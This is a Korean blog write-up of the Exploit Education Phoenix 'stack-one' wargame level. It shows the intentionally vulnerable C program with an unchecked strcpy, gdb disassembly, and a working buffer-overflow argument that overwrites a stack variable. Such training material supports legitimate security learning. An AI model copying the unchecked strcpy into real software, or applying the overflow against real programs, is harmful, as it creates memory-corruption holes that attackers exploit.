[Phoenix] Stack One

2022. 9. 26. 18:34·Wargame/Exploit Education
728x90
반응형

1. intro

 

2. code 및 분석

2.1.  C code

/*
 * phoenix/stack-one, by https://exploit.education
 *
 * The aim is to change the contents of the changeme variable to 0x496c5962
 *
 * Did you hear about the kid napping at the local school?
 * It's okay, they woke up.
 *
 */

#include <err.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#define BANNER \
  "Welcome to " LEVELNAME ", brought to you by https://exploit.education"

int main(int argc, char **argv) {
  struct {
    char buffer[64];
    volatile int changeme;
  } locals;

  printf("%s\n", BANNER);

  if (argc < 2) {
    errx(1, "specify an argument, to be copied into the \"buffer\"");
  }

  locals.changeme = 0;
  strcpy(locals.buffer, argv[1]);

  if (locals.changeme == 0x496c5962) {
    puts("Well done, you have successfully set changeme to the correct value");
  } else {
    printf("Getting closer! changeme is currently 0x%08x, we want 0x496c5962\n",
        locals.changeme);
  }

  exit(0);
}

 

2.2. 분석

이번에는 인자로 값을 받아 locals.buffer 변수에 복사하며, locals.changeme 변수가 0x496c5962면 성공이다.

 

3. 취약점 확인 및 공격 준비

3.1. 취약점

동일하게 strcpy 시 그 크기를 확인하지 않아 다른 주소에 overwrite 가능하다.

 

3.2. 공격 준비

마찬가지로 gdb로 위치만 확인하면 되겠다.

...
   0x00000000004006a0 <+51>:    movl   $0x0,-0x10(%rbp)
   0x00000000004006a7 <+58>:    mov    -0x60(%rbp),%rax
   0x00000000004006ab <+62>:    add    $0x8,%rax
   0x00000000004006af <+66>:    mov    (%rax),%rdx     #rbp-0x60+8의 값을 rdx에 삽입
   0x00000000004006b2 <+69>:    lea    -0x50(%rbp),%rax     #rbp-0x50의 값을 rsi에 삽입
   0x00000000004006b6 <+73>:    mov    %rdx,%rsi
   0x00000000004006b9 <+76>:    mov    %rax,%rdi
   0x00000000004006bc <+79>:    callq  0x4004a0 <strcpy@plt>
   0x00000000004006c1 <+84>:    mov    -0x10(%rbp),%eax
   0x00000000004006c4 <+87>:    cmp    $0x496c5962,%eax     #rbp-0x10 값을 비교.
...

src -> dest로 복사하니 0x40 이후의 값이 해당 값이면 된다.

 

4. exploit

user@phoenix-amd64:/opt/phoenix/amd64$ ./stack-one `python -c 'print "A"*0x40 + "\x62\x59\x6c\x49"'`
Welcome to phoenix/stack-one, brought to you by https://exploit.education
Well done, you have successfully set changeme to the correct value
728x90
반응형
저작자표시 비영리 변경금지 (새창열림)

'Wargame > Exploit Education' 카테고리의 다른 글

[Phoenix] Stack four  (0) 2022.09.27
[Phoenix] Stack three  (0) 2022.09.27
[phoenix] Stack Two  (0) 2022.09.26
[Phoenix] Stack Zero  (0) 2022.09.26
Phoenix 환경 설정 및 참고사항.  (0) 2022.09.26
'Wargame/Exploit Education' 카테고리의 다른 글
  • [Phoenix] Stack three
  • [phoenix] Stack Two
  • [Phoenix] Stack Zero
  • Phoenix 환경 설정 및 참고사항.
wyv3rn
wyv3rn
아저씨의 흔한 취미. wyv3rn#1249
  • wyv3rn
    think storage
    wyv3rn
  • 전체
    오늘
    어제
    • 분류 전체보기 (502)
      • To do list (7)
        • Doing (1)
        • Complete (6)
      • Diary (35)
      • Tips & theory (73)
      • Kernel Exploit (27)
        • Theory (15)
        • Exercise (5)
      • File Structure (6)
      • Wargame (313)
        • pwn.college (34)
        • Dreamhack (148)
        • pwnable.kr (15)
        • Lord of Sqlinjection (3)
        • Cryptohack (20)
        • Root me (27)
        • CodeEngn (4)
        • Exploit Education (22)
        • ROP Emporium (8)
        • H4C (10)
        • Hackerchool (22)
      • CTF (41)
        • Solved (39)
        • Unsolved (2)
      • Script (0)
      • RubiyaLap (0)
  • 블로그 메뉴

    • 홈
    • 방명록
  • 링크

  • 공지사항

    • PWN wargame 모음 (및 느낀점)
    • 비공개 글들에 대해.
    • 뭐라도 하나 얻어가시길...
  • 인기 글

  • 태그

    x86
    pwntools
    Buffer Overflow
    64bit
    phoenix
    docker
    x64
    dreamhack
    BOF
    pwnable.kr
    RTL
    exploit education
    Format String Bug
    32bit
    ROOT ME
    vtable
    hackerschool
    Me
    cryptohack
    root-me
    heap
    rop
    tcache
    _IO_FILE
    root
    libc
    lob
    la ctf
    CANARY
    FSB
  • 최근 댓글

  • 최근 글

  • 250x250
    반응형
  • hELLO· Designed By정상우.v4.10.3
wyv3rn
[Phoenix] Stack One
상단으로

티스토리툴바